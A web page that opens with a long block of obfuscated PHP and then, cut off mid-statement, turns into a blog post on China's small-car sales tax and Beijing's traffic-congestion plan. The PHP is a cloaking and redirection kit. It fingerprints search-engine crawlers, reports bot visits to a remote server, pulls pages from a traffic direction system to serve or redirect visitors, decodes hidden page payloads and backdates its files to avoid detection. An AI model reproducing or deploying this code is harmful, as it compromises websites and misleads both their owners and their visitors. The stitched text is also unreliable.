_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: $_153");$_165=$this->_15->l__7();$_86=$_165->l__25($_153);if($_86===false||strlen($_86)<10){$this->_16->l__16(_1916063019(401));$_86=$_24->l__79($_153);if($_86==false||strlen($_86)<10){$this->_16->l__16("bad loaded page. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16(_1916063019(402));$_165->l__21($_153,$_86);if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}else{$this->_16->l__16(_1916063019(403));if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}}else{$this->_16->l__16("local work. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}}function l__12($_23){}}class l__76 extends ____External_Base{var $_72;var $_166;var $_167;function l__76($_10,$_168){$this->_72=&$_10;$this->_166=_1916063019(404) .str_replace(_1916063019(405),_1916063019(406),uniqid(rand(),true));$this->_167=$_168;@ini_set(_1916063019(407),0);@ini_set(_1916063019(408),1);@ob_end_clean();@ob_implicit_flush();}function l__77(){}function l__78(){}function l__79($_153){$_99=@$_SERVER[_1916063019(409)];if(strpos($_153,_1916063019(410))!==false){$_169="ip=$_99&remote_ip=$_99";$_153.=(strpos($_153,_1916063019(411))===false)?_1916063019(412):_1916063019(413);$_153.=$_169;}$_86=$this->_72->l__53($_153);if($_86){$_86=preg_replace_callback('/]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$_86);if(!@preg_match(_1916063019(414),$_86)){$_170="";if(@preg_match(_1916063019(415),$_86))$_86=@preg_replace(_1916063019(416),"$1$_170",$_86,1);else if(@preg_match(_1916063019(417),$_86))$_86=str_replace(_1916063019(418),$_170 ._1916063019(419) ._1916063019(420),$_86);else $_86=$_170 .$_86;}}return $_86;}function l__80($_3){if(!headers_sent()){header("Location: $_3");}else{$_28=_1916063019(421) .$_3 ._1916063019(422);$_28.= _1916063019(423) .$_3 ._1916063019(424);echo $_28;@flush();@ob_flush();}}function l__81($_138,$_23){$_171=$this->l__83($_23);$_138=preg_replace(_1916063019(425),"",$_138);echo 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China institutes new car policies, but are they enough?

China will raise the sales tax on small cars starting January 1. Photo by Jake Ji.

This post originally appeared on The City Fix.

One present Santa may have brought a lot of Chinese families this year: a small car.  On Tuesday, the Chinese government announced a 10 percent sales tax on small cars effective January 1, sending many who had planned to purchase private vehicles in a dash to meet the year-end deadline.

In fact, November boasted record sales of vehicles across China with a 27 percent increase and 95,100 vehicles sold in Beijing alone.  A Reuters article reported Chinese auto dealers saying that they were running out of vehicles due to a last-minute frenzy where buyers rushed to take advantage of favorable tax subsidies, which were originally put in place last year to encourage the purchase of smaller, more fuel-efficient vehicles in China.  These subsidies cut taxes to 5 percent on vehicles with engines 1.6 liters or smaller in January 2009 and were subsequently increased to 7.5 percent.

The new regulations announced on the Ministry of Finance’s website are expected to curb the growth of small car sales by a third. Small cars currently comprise 60 percent of passenger car sales in China, which grew by a whopping 34.9 percent in the first 11 months of 2010.  As the world’s largest auto market,analysts are predicting these policy changes for small vehicles will undoubtedly have rippling effects on car manufacturers throughout the world.  For example, U.S. automakers, which have a comparative advantage in producing larger cars, may see increased sales in China.

While it may seem that the end of these tax subsidies should retard the growth of the Chinese auto market, demand is actually still expected to increase. According to the Beijing Traffic Management Bureau, Beijing adds 2,000 new cars to the roads each day. To date, the city boasts 4.8 million vehicles and 6.25 million drivers.  These staggering statistics mean that only curtailing car sales while failing to address other underlying causes and potential solutions to traffic woes would be like treating only one symptom of an illness while ignoring the rest.

Therefore, any policy aimed to relieve traffic congestion and improve mobility must use a multi-faceted approach, which is what Beijing officials are considering.  Earlier this month, they released a plan for public consultation that included six major measures to tackle the capital’s worsening traffic conditions. These measures include the construction of 280,000 parking spaces; 1,000 bike sharing stations; 348 miles of new subway track; 125 miles of new downtown streets (I’d like to see where these are going, considering 720,000 square meters of downtown Beijing is the Forbidden City); 23 miles of tunnels; 9 new transportation hubs; 3 congestion zones; and, my favorite, “the use of modern technology.”  The city will also cut the number of new licenses by a third to 240,000 for 2011.  The most controversial elements of the plan are the measures to levy congestion charges during peak hours and restrict car usage. It seems that Beijingers want to have their cake, and drive it too.

Still, even with a versatile plan of attack in place, the drivers (no pun intended) for car ownership are compelling, particularly for a growing middle class that sees posessing a car as a benchmark of wealth.  Since my time living in and out of Beijing the last four years, I’ve witnessed the construction of 10 new subway lines.  Even though a consistent ticket price of 2 RMB (about 30 cents) has meant that subway cars are almost always jam-packed, public transportation seems to have had a negligible effect on Beijing’s roadways.   Zhao Jie, a transportation expert at the China Academy of Urban Planning and Design, told The New York Times that despite these significant investments in subway lines and bus transport , “the stimuli to car ownership are even more powerful.”

Beijing officials will release the final version of the traffic proposal on Thursday, and not a moment too soon.  If this mid-Autumn’s “longest ever” 10-day traffic jam is any indication of how severe road congestion can be in China, there are only a few weeks before we may see another repeat, when Spring Festival – China’s most important holiday – begins around January 20.

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